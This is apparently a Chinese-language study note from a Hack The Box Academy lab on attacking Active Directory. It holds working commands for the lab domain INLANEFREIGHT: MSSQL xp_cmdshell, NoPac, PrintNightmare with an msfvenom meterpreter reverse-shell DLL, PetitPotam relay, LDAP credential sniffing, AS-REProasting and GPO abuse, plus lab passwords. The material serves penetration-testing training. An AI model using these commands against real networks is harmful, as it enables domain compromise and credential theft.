evil-winrm -i <IP> -u <User> -p <Pass>- Windows:
PS C:\htb> $password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -ForcePS C:\htb> $cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)PS C:\htb> Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred[ACADEMY-EA-MS01]: PS C:\Users\forend\Documents> hostnameACADEMY-EA-MS01[ACADEMY-EA-MS01]: PS C:\Users\forend\Documents> Exit-PSSessionPS C:\htb>
MSSQL Server (SQL Admin)
- 原理: 透過 MSSQL 協定 (Port 1433) 連線資料庫。
- 關鍵權限:
sysadmin角色。 - 枚舉方式:
BloodHound: 查看SQLAdmin連線。PowerUpSQL:
PS C:\htb> cd .\PowerUpSQL\PS C:\htb> Import-Module .\PowerUpSQL.ps1PS C:\htb> Get-SQLInstanceDomain - 攻擊工具:
- Windows:
PS C:\htb> Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'- Linux:
$ mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth- 利用手法 (RCE):
- 連線後
SQL> help查看選項(只有擁有 sysadmin 權限,可啟動 enable_xp_cmdshell) - 啟用 xp_cmdshell 預存程序
SQL> enable_xp_cmdshell。 - 執行系統指令:
xp_cmdshell whoami /priv。 - 如果服務帳號有
SeImpersonatePrivilege(常見於 SQL Service),可配合 JuicyPotato / PrintSpoofer 提權至 SYSTEM。
Kerberos “Double Hop” Problem
什麼是 Double Hop?
- 單跳 (Single Hop): 攻擊機 ➔ 伺服器 A。
- 這是允許的。你有憑證可以證明身分進入 A。
- 雙跳 (Double Hop): 攻擊機 ➔ 伺服器 A ➔ 伺服器 B (或 DC)。
- 這是失敗的。 因為伺服器 A 沒有你的憑證 可以代表你去跟伺服器 B 溝通。

為什麼伺服器 A 沒有我的憑證?
這取決於你「如何」連線到伺服器 A。
- PsExec (SMB) / RDP - 為什麼沒問題?
- 這類協定通常會執行 「互動式登入 (Interactive Logon)」 或類似機制。
- OS 會把你的 NTLM Hash 或 Kerberos TGT 完整的儲存在 LSASS (記憶體) 中。
- 當你想從 A 跳到 B 時,A 會直接從口袋(記憶體)拿出你的 Hash/TGT 說:「我是 User,我要連 B。」
- WinRM (PowerShell Remoting) - 為什麼會出事?
- 預設情況下,WinRM 使用 「網路登入 (Network Logon, Type 3)」。
- 安全機制: 為了防止伺服器 A (假設它被駭客控制) 竊取你的身分,微軟設計成:「我只給你一張『進入 A 的門票 (TGS)』,但我『不給你我的身分證 (TGT) 或密碼』。」
- 結果: 伺服器 A 讓你在裡面執行指令,但如果你叫 A 去存取外部資源(例如問 DC 要資料),A 會兩手一攤:「我手裡沒有你的身分證,DC 不理我。」
解決方案
方法一:使用 PSCredential 物件 (適用於 Evil-WinRM / Linux)
測試-如果直接跑命令會遇到雙跳問題:
*Evil-WinRM* PS C:\Users\backupadm\Documents> import-module .\PowerView.ps1*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spnException calling "FindAll" with "0" argument(s): "An operations error occurred."At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20+ else { $Results = $UserSearcher.FindAll() }+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : DirectoryServicesCOMException檢查 klist,我們會發現我們只有目前伺服器的快取 Kerberos 票據:
*Evil-WinRM* PS C:\Users\backupadm\Documents> klist
Current LogonId is 0:0x57f8a
Cached Tickets: (1)
#0> Client: backupadm @ INLANEFREIGHT.LOCAL Server: academy-aen-ms0$ @ // !!!!! KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0xa10000 -> renewable pre_authent name_canonicalize Start Time: 6/28/2022 7:31:53 (local) End Time: 6/28/2022 7:46:53 (local) Renew Time: 7/5/2022 7:31:18 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0x4 -> S4U Kdc Called: DC01.INLANEFREIGHT.LOCAL設定一個 PSCredential 對象
*Evil-WinRM* PS C:\Users\backupadm\Documents> $SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force*Evil-WinRM* PS C:\Users\backupadm\Documents> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)使用 PowerView 查詢 SPN 帳戶,並且將憑證與命令一起傳遞
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn -credential $Cred | select samaccountname
samaccountname--------------azureconnectbackupjobkrbtgtmssqlsvcsqltestsqlqasqldevmssqladmsvc_sqlsqlprodsapssosapvcvmwarescvc方法二:註冊 PSSession 設定 (適用於 Windows GUI / RDP)
這是一種更進階的方法,透過修改 WinRM 的設定,讓它強制儲存你的憑證
註冊新的 Session 配置:
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential 'DOMAIN\User'- (這會跳出視窗要你輸入密碼)
重啟 WinRM 服務: Restart-Service WinRM
重新連線:
Enter-PSSession -ComputerName <Target> -ConfigurationName backupadmsessBleeding Edge (前衛) Vulnerabilities
1. NoPac (SamAccountName Spoofing)
這是一個可以讓任何網域使用者瞬間變成 Domain Admin 的漏洞組合
- CVE 編號: CVE-2021-42278 & CVE-2021-42287。
- 原理:
- CVE-2021-42278 (Bypass SAM): 攻擊者可以建立一個新的機器帳戶(預設允許建立 10 個),然後將其 sAMAccountName 改名,騙過系統讓它以為這是 Domain Controller (DC) 的帳號。
- CVE-2021-42287 (Kerberos PAC): 當攻擊者用這個「假 DC」帳號去請求票據時,KDC 會混淆,最後簽發一張屬於「真 DC」的服務票據給你。
- 結果: 你拿到了屬於 Domain Controller 的 TGT,也就是說你變成了 DC 本人(SYSTEM 權限)。
Cloning the NoPac Exploit Repo:
$ git clone https://github.com/Ridter/noPac.gitScanning for NoPac
$ sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldapRunning NoPac & Getting a Shell
$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap- 該命令會使用
smbexec.py建立半互動 shell - smbexec shells we will need to use exact paths instead of navigating the directory structure using cd.
使用 noPac 對內建管理員帳號進行 DCSync 同步
$ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administratorPrintNightmare (列印多工緩衝處理器漏洞)
這是一個 RCE 的漏洞,影響 Windows Server 2008 到 Windows Server 2019 版本
- 原理: Windows 的 Print Spooler 服務(列印服務)在處理驅動程式安裝時驗證不嚴。攻擊者可以透過 RPC 請求,強迫遠端伺服器(例如 DC)從攻擊者控制的 SMB 共享下載並載入一個惡意的 DLL 檔案。
- 關鍵條件: 需要一組有效的網域使用者帳號。
- 執行流程:
- 製作一個惡意 DLL (backupscript.dll)。
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll- 使用 smbserver.py 開啟一個 SMB 共享,放入 DLL。
- 使用 CVE-2021-1675.py 攻擊 DC,告訴它:「嘿,去 \攻擊機\Share\backupscript.dll 安裝這個印表機驅動。」
- 結果: DC 的 Print Spooler 服務(SYSTEM 權限)載入 DLL,你的 Listener 收到 Reverse Shell。
PetitPotam (MS-EFSRPC 強制認證)
這是一個 NTLM Relay (中繼攻擊) 的變種,專門用來攻擊 AD CS (憑證服務)。
- CVE 編號: CVE-2021-36942。
- 原理:
- 利用 EFS (Encrypting File System) 的 RPC 介面,強迫 DC 向攻擊者的機器進行 NTLM 驗證。
- 攻擊者不進行驗證,而是將這個請求 Relay (轉發) 到 AD CS 伺服器(憑證中心)。
- AD CS 看到是 DC 來申請憑證,於是簽發一張 DC 的憑證 給攻擊者。
- 攻擊者拿到憑證後,就可以用它來申請 TGT(Pass-the-Ticket)。
- 關鍵條件: 不需要任何帳號(未驗證攻擊),但網域內必須有安裝 AD CS (Active Directory Certificate Services)。
- 執行流程:
- 準備 Relay: ntlmrelayx.py -t http://CA_SERVER/certsrv/ … —template DomainController。
- 觸發 PetitPotam: python3 PetitPotam.py <攻擊機IP> <DC_IP>。
- 獲取憑證: ntlmrelayx 會吐出一串 Base64 的憑證。
- 轉換為 TGT: 使用 gettgtpkinit.py 或 Rubeus 將憑證換成 TGT。
- DCSync: 有了 TGT,你就是 DC,直接 DCSync 拿下網域。
Miscellaneous Misconfigurations
1. Microsoft Exchange 相關配置濫用
Exchange 伺服器通常擁有極高的網域權限,是攻擊者的首要目標。
A. 危險群組 (Dangerous Groups)
- Exchange Windows Permissions:
- 特權: 這個群組對網域物件擁有 WriteDACL 權限。
- 攻擊路徑: 如果你攻陷了這個群組的成員(或有權限將自己加入此群組),你可以賦予自己 DCSync 權限(複寫目錄變更),進而導出所有使用者的 Hash。
- Organization Management:
- 特權: 相當於 Exchange 的 Domain Admins。可以存取所有人的信箱,並控制 Microsoft Exchange Security Groups OU。
- 常見成員: 系統管理員 (Sysadmins)。
B. PrivExchange 攻擊
- 原理: 利用 Exchange 的 PushSubscription 功能。
- 流程: 任何有信箱的網域使用者,都可以強迫 Exchange 伺服器(以 SYSTEM 權限運行)通過 HTTP 向攻擊者的機器進行驗證。
- 利用: 攻擊者將此驗證 中繼 (Relay) 到 LDAP,利用 Exchange 的高權限修改 ACL,將攻擊者升級為 Domain Admin。
2. Printer Bug (MS-RPRN 列印服務漏洞)
- 原理: 利用列印系統遠端協定 (MS-RPRN)。任何網域使用者都可以呼叫 RpcOpenPrinter 和 RpcRemoteFindFirstPrinterChangeNotificationEx 方法。
- 效果: 強迫目標伺服器(通常是 DC)向攻擊者的機器發起 SMB 驗證。
- 攻擊路徑:
- Relay to LDAP: 觸發 DCSync 或設定 RBCD (資源約束委派)。
- 跨樹系攻擊 (Cross-Forest): 如果目標開啟了非受限委派 (Unconstrained Delegation),可用於跨越信任邊界攻擊其他網域的 DC。
- 偵測工具(若回傳 True,代表 Print Spooler 服務開啟,可攻擊):
PS C:\htb> Import-Module .\SecurityAssessment.ps1PS C:\htb> Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
ComputerName Status------------ ------ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL True3. MS14-068 (Kerberos PAC 偽造)
- 原理: Kerberos 票據中的 PAC (Privilege Attribute Certificate) 包含了使用者的群組資訊。
- 漏洞: 舊版 KDC 驗證邏輯有誤,允許攻擊者 偽造 PAC。
- 攻擊效果: 普通使用者可以偽造一張 PAC,宣稱自己是 Domain Admins 成員,KDC 會簽署並發放有效的 TGT。
- 工具: PyKEK, Impacket (goldenPac), kekeo。
4. 嗅探 LDAP 憑證 (Sniffing LDAP Credentials)
這是不依賴微軟漏洞,而是依賴第三方設備配置缺陷的攻擊。
- 場景: 多功能事務機 (Printers)、VPN 閘道器、Web 應用程式後台。
- 漏洞: 這些設備為了查詢 AD(例如查 email),後台會儲存一組 AD 帳號密碼。且通常有一個 「測試連線 (Test Connection)」 按鈕。
- 攻擊流程:
- 登入設備後台(通常是弱密碼)。
- 將 LDAP 伺服器 IP 修改為 攻擊機 IP。
- 在攻擊機監聽 Port 389 (nc -lvvp 389)。
- 按下「測試連線」。
- 結果: 設備會將 AD 帳號與密碼以 明文 (Cleartext) 發送到你的 Netcat。
5. DNS 記錄枚舉 (Enumerating DNS Records)
當 BloodHound 只顯示一堆無意義的主機名稱(如 SRV01934)時,DNS 枚舉能幫你找到高價值目標。
- 原理: 預設情況下,任何網域使用者都可以列出 AD 整合 DNS 區域的子物件。
- 工具: adidnsdump
- 指令:
adidnsdump -u <User> ldap://<DC_IP> -r(參數 -r 會自動解析未知記錄的 IP)
- 輸出結果: 可以在 records.csv 中發現隱藏的服務,例如 JENKINS, GITLAB 等關鍵字,或是被遺忘的測試主機。
6. 其他錯誤配置 (Other Misconfigurations)
這裡介紹了四種常見的人為疏失或屬性設定錯誤。
A. 密碼寫在描述欄位 (Password in Description)
現象: 管理員在 Description 或 Notes 欄位紀錄初始密碼。
PowerView 指令:
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}B. PASSWD_NOTREQD (不需要密碼)
現象: 使用者屬性 userAccountControl 設有 PASSWD_NOTREQD 旗標。
意義: 該帳號 允許設定為空密碼 (Blank Password)。這不代表它現在沒有密碼,但值得嘗試用空密碼登入。
PowerView 指令:
S C:\htb> Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrolC. SYSVOL 腳本中的憑證 (Credentials in Scripts)
現象: SYSVOL 共享資料夾(全網域可讀)中的 scripts 目錄下,遺留了包含明文密碼的 VBS/BAT/PS1 腳本。
範例: 找到 reset_local_admin_pass.vbs,裡面寫著 sPwd = ”!ILFREIGHT_L0cALADmin!”。
利用: 拿到密碼後,使用 CrackMapExec (—local-auth) 對全網域進行密碼噴灑,看是否還有機器使用這組管理員密碼。
D. GPP 密碼與 Autologon
這是舊版 Group Policy Preferences (GPP) 的歷史遺毒。
- GPP Password (Groups.xml 等):
- 儲存方式: AES-256 加密的 cpassword 欄位。
- 漏洞: 微軟公開了 AES 私鑰,任何人都能解密。
- 工具:
gpp-decrypt <cpassword>或 crackmapexec … -M gpp_password。
- Autologon (Registry.xml):
- 儲存方式: 用於設定自動登入。密碼以 明文 (Cleartext) 儲存在 XML 中。
- 工具:
$ crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
7. AS-REProasting (不需要 Kerberos 預先驗證)
原理: 針對設定了 DONT_REQ_PREAUTH 的使用者。攻擊者可直接請求 AS-REP(內含使用者密碼加密的資料),並進行離線破解。
Windows 攻擊流程 (Rubeus)
使用 Get-DomainUser 列舉 DONT_REQ_PREAUTH 值:
PS C:\htb> Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
samaccountname : mmorganuserprincipalname : mmorgan@inlanefreight.localuseraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH使用 Rubeus 以正確格式檢索 AS-REP:
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat使用 Hashcat 離線破解哈希值
hashcat -m 18200 hash.txt wordlist.txtLinux 攻擊流程 (Impacket):
使用 Kerbrute 取得 AS-REP
$ kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt尋找無需 Kerberos 預授權的用戶
$ GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users8. GPO 濫用 (GPO Abuse)
如果攻擊者控制了對 GPO 物件有寫入權限的帳號,可以對整個 OU 下轄的電腦發動攻擊。
GPO配置錯誤可被濫用以執行以下攻擊:
- 為使用者新增額外權限(例如 SeDebugPrivilege、SeTakeOwnershipPrivilege 或 SeImpersonatePrivilege)
- 新增本地管理員
- 排程任務: 建立一個立即執行的排程任務 (Immediate Task),執行 Reverse Shell
枚舉 GPO
使用 PowerView 列舉 GPO 名稱
PS C:\htb> Get-DomainGPO |select displayname
displayname-----------Default Domain PolicyDefault Domain Controllers PolicyDeny Control Panel AccessDisallow LM HashDeny CMD AccessDisable Forced RestartsBlock Removable MediaDisable Guest AccountService Accounts Password PolicyLogon BannerDisconnect Idle RDPDisable NetBIOSAutoLogonGuardAutoLogonCertificate Services- 我們可以看到自動登入正在使用,這可能表示 GPO 中存在可讀密碼
- 可以看到網域中存在 ADCS
使用內建 cmdlet 列舉 GPO 名稱
PS C:\htb> Get-GPO -All | Select DisplayName枚舉 Domain User group 的 GPO 權限
PS C:\htb> $sid=Convert-NameToSid "Domain Users"PS C:\htb> Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
ObjectDN : CN={7CA9C789-14CE-46E3-A722-83F4097AF532},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCALObjectSID :ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, Delete, GenericExecute, WriteDacl, WriteOwnerBinaryLength : 36AceQualifier : AccessAllowedIsCallback : FalseOpaqueLength : 0AccessMask : 983095SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-513AceType : AccessAllowedAceFlags : ObjectInherit, ContainerInheritIsInherited : FalseInheritanceFlags : ContainerInherit, ObjectInheritPropagationFlags : NoneAuditFlags : None我們可以看到 Domain User 有 WriteProperty and WriteDacl 可用於後續攻擊
確認影響範圍:
- 使用 BloodHound 查看 GPO 連結到哪個 OU (GpLink),以及該 OU 底下有多少電腦。
發現弱點:

可以看到 Domain User 群組對 DISCONNECT IDLE RDP GPO具有
GenericWrite(寫入權限)WriteOwner(修改擁有者)WriteDacl(完全控制GPO)
確認影響範圍:

只要我們修改了那個 GPO,ACADEMY-EA-APP01 ~ 05 在下次更新原則 (gpupdate) 時,就會自動執行我們植入的惡意指令